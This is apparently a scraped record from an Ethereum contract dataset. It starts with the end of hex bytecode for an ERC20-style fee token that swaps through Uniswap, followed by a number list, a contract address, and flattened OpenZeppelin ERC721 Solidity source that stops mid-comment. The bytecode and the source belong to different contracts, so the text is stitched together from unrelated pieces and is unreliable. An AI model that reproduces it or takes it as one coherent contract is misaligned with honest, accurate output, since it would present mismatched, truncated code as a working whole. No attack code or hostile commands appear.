021602052604090205460ff16801561222057506000601454115b156122de57612245606461223f601454896127bf90919063ffffffff16565b9061283e565b9050601454601654826122589190612ef5565b6122629190612f14565b601c60008282546122739190612f36565b90915550506014546017546122889083612ef5565b6122929190612f14565b601d60008282546122a39190612f36565b90915550506014546015546122b89083612ef5565b6122c29190612f14565b601b60008282546122d39190612f36565b909155506123bb9050565b6001600160a01b03881660009081526021602052604090205460ff16801561230857506000601054115b156123bb57612327606461223f601054896127bf90919063ffffffff16565b90506010546012548261233a9190612ef5565b6123449190612f14565b601c60008282546123559190612f36565b909155505060105460135461236a9083612ef5565b6123749190612f14565b601d60008282546123859190612f36565b909155505060105460115461239a9083612ef5565b6123a49190612f14565b601b60008282546123b59190612f36565b90915550505b80156123cc576123cc88308361247c565b6123d681876130fa565b95505b6123e488888861247c565b5050505050505050565b600081848411156124125760405162461bcd60e51b8152600401610b819190612b9f565b50600061241f84866130fa565b95945050505050565b6001600160a01b038216600081815260216020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6001600160a01b0383166124a25760405162461bcd60e51b8152600401610b8190613072565b6001600160a01b0382166124c85760405162461bcd60e51b8152600401610b81906130b7565b612505816040518060600160405280602681526020016131ce602691396001600160a01b03861660009081526020819052604090205491906123ee565b6001600160a01b038085166000908152602081905260408082209390935590841681522054612534908261176b565b6001600160a01b038381166000818152602081815260409182902094909455518481529092918616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91016118e9565b3060009081526020819052604081205490506000601d54601b54601c546125ac9190612f36565b6125b69190612f36565b905060008215806125c5575081155b156125cf57505050565b6009546125dd906014612ef5565b8311156125f5576009546125f2906014612ef5565b92505b6000600283601c54866126089190612ef5565b6126129190612f14565b61261c9190612f14565b9050600061262a8583612880565b905047612636826128c2565b60006126424783612880565b9050600061265f8761223f601b54856127bf90919063ffffffff16565b9050600061267c8861223f601d54866127bf90919063ffffffff16565b905060008161268b84866130fa565b61269591906130fa565b6000601c819055601b819055601d8190556007546040519293506001600160a01b031691849181818185875af1925050503d80600081146126f2576040519150601f19603f3d011682016040523d82523d6000602084013e6126f7565b606091505b5090985050861580159061270b5750600081115b1561275e5761271a8782612a89565b601c54604080518881526020810184905280820192909252517f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619181900360600190a15b6006546040516001600160a01b03909116904790600081818185875af1925050503d80600081146127ab576040519150601f19603f3d011682016040523d82523d6000602084013e6127b0565b606091505b50505050505050505050505050565b6000826127ce57506000610b51565b60006127da8385612ef5565b9050826127e78583612f14565b146117ca5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610b81565b60006117ca83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612b71565b60006117ca83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506123ee565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106128f7576128f7612f4e565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561297057600080fd5b505afa158015612984573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906129a89190613111565b816001815181106129bb576129bb612f4e565b60200260200101906001600160a01b031690816001600160a01b031681525050612a06307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d846117d1565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac94790612a5b90859060009086903090429060040161312e565b600060405180830381600087803b158015612a7557600080fd5b505af1158015610d76573d6000803e3d6000fd5b612ab4307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d846117d1565b60405163f305d71960e01b8152306004820181905260248201849052600060448301819052606483015260848201524260a48201527f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03169063f305d71990839060c4016060604051808303818588803b158015612b3857600080fd5b505af1158015612b4c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611260919061319f565b60008183612b925760405162461bcd60e51b8152600401610b819190612b9f565b50600061241f8486612f14565b600060208083528351808285015260005b81811015612bcc57858101830151858201604001528201612bb0565b81811115612bde576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114612c0957600080fd5b50565b60008060408385031215612c1f57600080fd5b8235612c2a81612bf4565b946020939093013593505050565b600060208284031215612c4a57600080fd5b81356117ca81612bf4565b600060208284031215612c6757600080fd5b5035919050565b60008060008060008060c08789031215612c8757600080fd5b505084359660208601359650604086013595606081013595506080810135945060a0013592509050565b600080600060608486031215612cc657600080fd5b8335612cd181612bf4565b92506020840135612ce181612bf4565b929592945050506040919091013590565b8035801515811461163e57600080fd5b60008060408385031215612d1557600080fd5b8235612d2081612bf4565b9150612d2e60208401612cf2565b90509250929050565b600080600060608486031215612d4c57600080fd5b505081359360208301359350604090920135919050565b600060208284031215612d7557600080fd5b6117ca82612cf2565b60008083601f840112612d9057600080fd5b50813567ffffffffffffffff811115612da857600080fd5b6020830191508360208260051b8501011115612dc357600080fd5b9250929050565b60008060008060408587031215612de057600080fd5b843567ffffffffffffffff80821115612df857600080fd5b612e0488838901612d7e565b90965094506020870135915080821115612e1d57600080fd5b50612e2a87828801612d7e565b95989497509550505050565b60008060408385031215612e4957600080fd5b8235612e5481612bf4565b91506020830135612e6481612bf4565b809150509250929050565b600181811c90821680612e8357607f821691505b60208210811415612ea457634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b6000816000190483118215151615612f0f57612f0f612edf565b500290565b600082612f3157634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115612f4957612f49612edf565b500190565b634e487b7160e01b600052603260045260246000fd5b600181815b80851115612f9f578160001904821115612f8557612f85612edf565b80851615612f9257918102915b93841c9390800290612f69565b509250929050565b600082612fb657506001610b51565b81612fc357506000610b51565b8160018114612fd95760028114612fe357612fff565b6001915050610b51565b60ff841115612ff457612ff4612edf565b50506001821b610b51565b5060208310610133831016604e8410600b8410161715613022575081810a610b51565b61302c8383612f64565b806000190482111561304057613040612edf565b029392505050565b60006117ca60ff841683612fa7565b600060001982141561306b5761306b612edf565b5060010190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60008282101561310c5761310c612edf565b500390565b60006020828403121561312357600080fd5b81516117ca81612bf4565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561317e5784516001600160a01b031683529383019391830191600101613159565b50506001600160a01b03969096166060850152505050608001529392505050565b6000806000606084860312156131b457600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220e67db645e88c0e1aa74e3bf121cbb24c8b4963ac5fc4eb16162dfd28aabc993f64736f6c63430008090033
[ 21, 4, 7, 13, 5 ]
0xF3114DD5c5b50a573E66596563D15A630ED359b4
// SPDX-License-Identifier: MIT AND GPL-3.0 // File: @openzeppelin/contracts/utils/introspection/IERC165.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/utils/Strings.sol pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol pragma solidity ^0.8.0; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See 